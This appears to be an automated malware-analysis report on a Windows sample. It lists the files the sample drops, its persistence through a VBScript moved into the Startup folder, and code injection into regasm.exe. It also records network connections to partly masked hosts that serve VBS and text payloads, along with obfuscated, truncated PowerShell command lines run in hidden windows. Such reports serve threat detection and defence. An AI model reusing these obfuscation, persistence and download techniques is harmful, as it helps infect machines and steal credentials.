Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %TEMP%\svchosts.vbs
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $ErrorActionPreference = 'SilentlyContinue';$u0hj44tt = '[Enum]::ToObject([System.N' +'et.Securi' +'tyProto' +'colType], 3072)'|IEX;[System.Net.ServicePointManager]::Securit...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\history\history.ie5\mshist012022061420220615\index.dat
- %TEMP%\svchosts.vbs
- %TEMP%\5b22434c-5ae7-4ab1-ae13-01d192a047a8\agiledotnetrt64.dll
- %TEMP%\90922933-bcea-4948-9d90-a27684ced0b5\agiledotnetrt64.dll
- %APPDATA%\rem\logs.dat
Modifies the following files
- %TEMP%\javadeployreg.log
Network activity
Connects to
- '19#.#10.149.242':80
- 'et#####.dvrlists.com':2050
- 'ge###ugin.net':80
TCP
HTTP GET requests
- http://19#.#10.149.242/mac.txt
- http://19#.#10.149.242/favicon.ico
- http://19#.#10.149.242/edi.vbs
- http://19#.#10.149.242/client.txt
- http://19#.#10.149.242/client.jpg
- http://ge###ugin.net/json.gp
Other
- 'et#####.dvrlists.com':2050
UDP
- DNS ASK et#####.dvrlists.com
- DNS ASK ge###ugin.net
Miscellaneous
Searches for the following windows
- ClassName: 'Static' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%TEMP%\svchosts.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Move-item '%TEMP%\svchosts.vbs' -Destination '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\svchosts.vbs'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Move-item '%TEMP%\svchosts.vbs' -Destination '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\svchosts.vbs'' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $t0='bE100'.replace('b','I').replace('100','x');sal P $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,0110...' (with hidden window)
Executes the following
- '%ProgramFiles%\internet explorer\iexplore.exe' -Embedding
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $t0='bE100'.replace('b','I').replace('100','x');sal P $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,0110...
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe'
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe' /stext "%TEMP%\bytyyuwfqdoyjpenzchtmyds"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe' /stext "%TEMP%\lsyqzmgyelglldarjnuvpdyjeug"
